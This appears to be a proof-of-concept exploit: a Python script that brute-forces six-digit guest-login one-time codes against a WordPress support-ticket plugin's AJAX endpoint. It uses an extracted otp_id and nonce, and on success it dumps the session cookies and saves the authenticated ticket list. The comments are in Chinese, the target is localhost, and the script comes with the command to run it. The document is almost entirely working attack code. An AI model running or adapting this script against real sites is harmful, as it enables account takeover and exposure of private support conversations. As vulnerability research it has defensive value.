/support/

<input type="hidden" name="otp_id" value="NN">
<input type="hidden" name="_ajax_nonce" value="XXXXXXXXXX">

#!/usr/bin/env python3
import requests, time, sys

ORIGIN = "http://localhost/wordpress"
OTP_ID = 22                  # 提取的 otp_id
NONCE  = "f2349a6ac9"        # 提取的 nonce
START  = 0
END    = 999999
RATE   = 25                  # 每秒请求数

AJAX = ORIGIN.rstrip("/") + "/wp-admin/admin-ajax.php"

def try_code(sess, code):
    r = sess.post(AJAX, data={
        "action": "wpsc_confirm_guest_login",
        "otp": code,
        "otp_id": str(OTP_ID),
        "_ajax_nonce": NONCE,
    }, timeout=10)

    try:
        j = r.json()
    except Exception:
        return False, None

    return (j.get("isSuccess") == 1), j

def main():
    s = requests.Session()
    interval = 1.0 / max(RATE, 1)

    for n in range(START, END + 1):
        code = f"{n:06d}"

        ok, _ = try_code(s, code)
        if ok:
            print(f"[+] OTP 破解成功: {code}")
            print("[i] Cookies:", s.cookies.get_dict())

            # 访问已认证页面
            page = s.get(ORIGIN + "/support/?wpsc-section=ticket-list")
            open("with_cookie.html", "wb").write(page.content)

            sys.exit(0)

        if n % 1000 == 0:
            print(f"[*] 已尝试 {n} 个代码...")

        time.sleep(interval)

    print("[!] 范围已穷尽")

if __name__ == "__main__":
    main()

python sc_guest_bruteforce_linear.py